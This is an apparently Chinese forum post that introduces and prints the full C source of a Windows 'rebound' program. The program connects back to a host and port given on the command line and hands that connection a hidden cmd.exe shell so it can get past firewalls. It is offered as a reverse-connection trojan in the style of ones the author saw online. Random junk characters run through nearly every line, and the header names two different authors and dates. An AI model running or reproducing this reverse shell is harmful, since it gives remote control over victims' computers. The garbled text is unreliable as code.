这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T3USNc51
KA 5~">l
/* ==============================
JmU<y
Rebound port in Windows NT g.B%#bfg
By wind,2006/7 j4~7akG
===============================*/ m,W) N9 M
#include >lD;0EN
#include (O)\#%,@R
Q0zW ]a
#pragma comment(lib,"wsock32.lib") {fGd:2dh
Usa+b
A
void OutputShell(); jOUK]>ox:
SOCKET sClient; FAQr~G}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &8[ZN$Xe"
[>W"R1/
void main(int argc,char **argv) !c3```*
{ Tub1Sv>J
WSADATA stWsaData; NFk}3w:
int nRet; {>8Pl2J
SOCKADDR_IN stSaiClient,stSaiServer; z%(Fo2)^
&49u5&TiP
if(argc != 3) LHs-&
{ ,Bisu:v6FW
printf("Useage:\n\rRebound DestIP DestPort\n"); ?e
F@Q!h
return; )v[XmJ>H~o
} 8F#osN
63W{U/*aao
WSAStartup(MAKEWORD(2,2),&stWsaData); bGbqfO`
2t+D8 d|c<
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fi mN?s
>_XOc
stSaiClient.sin_family = AF_INET; *IC^IC:
stSaiClient.sin_port = htons(0); A_!QrM
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O0^?f/&k
`/#f?Hk=
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WfTD7?\dw
{ 6cM<>&e
printf("Bind Socket Failed!\n"); \)ip>{WG
return; =96G8hlT
} #
;K,,ku
x
$}t=RW
stSaiServer.sin_family = AF_INET; \gLxC
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a:85L!~:l
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'It?wB W
B[r<m J
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vxZg &SRK
{ > 2#%$lX6
printf("Connect Error!"); '"y}#h__T
return; Yc^%zxub
} ?hnx/z+uT
OutputShell(); !O|ql6^;
} ebqg"tPN{
xq}-m!nX
void OutputShell() \[yr=X
{ j&5G\6:
char szBuff[1024]; >c<pDNt?
SECURITY_ATTRIBUTES stSecurityAttributes; +R!zs
OSVERSIONINFO stOsversionInfo; ~g6"'Cya?k
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e}c&LDgU
STARTUPINFO stStartupInfo; `ncNEHh7K
char *szShell; \)OEBN`9#
PROCESS_INFORMATION stProcessInformation; !xu9+{-
unsigned long lBytesRead; cFK @3a
av-#)E
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bNGCOj
[)^mBVht
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GF8 -_X
stSecurityAttributes.lpSecurityDescriptor = 0; sYJL-2JX
stSecurityAttributes.bInheritHandle = TRUE; C5|db{=\.*
<47k@Ym
7h%4]
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *m9{V8Yi2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LN4qYp6)G
hoenQ6N^:
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XVt/qb%)r
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e+. \pe\
stStartupInfo.wShowWindow = SW_HIDE; l4rMk^>>
stStartupInfo.hStdInput = hReadPipe; ldGojnS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W^es;5
VPt9QL(
GetVersionEx(&stOsversionInfo); 4:7m K/Z
t6+YXjXK
switch(stOsversionInfo.dwPlatformId) !^e =P%S
{ 'cV?i&;
case 1: yhpz5[AuO
szShell = "command.com"; rEdY>\'
break; /.Fj.6U5
default: _%~$'Hy
szShell = "cmd.exe"; 54{q.I@n
break; +`B'r
'
} 3uV4/%U
w7FoL
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8Hi!kc;f6>
^rL_C}YBj-
send(sClient,szMsg,77,0); y500Xs[c
while(1) j(eFoZz,
{ P`S@n/}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +f>c xA
if(lBytesRead) glE^t6)
{ -Fxmsi
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =bLY
/
send(sClient,szBuff,lBytesRead,0); ; Y"N6%
} /*$hx @ih
else `]=oo%(h
{ @*>Sw>oet
lBytesRead=recv(sClient,szBuff,1024,0); C$d>_r
if(lBytesRead<=0) break; t{dSX?<nt
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S QY"OBo<e
} t
P"\J(x
} u,1}h L
I7n3xN&4"
return; !2tW$BP^
}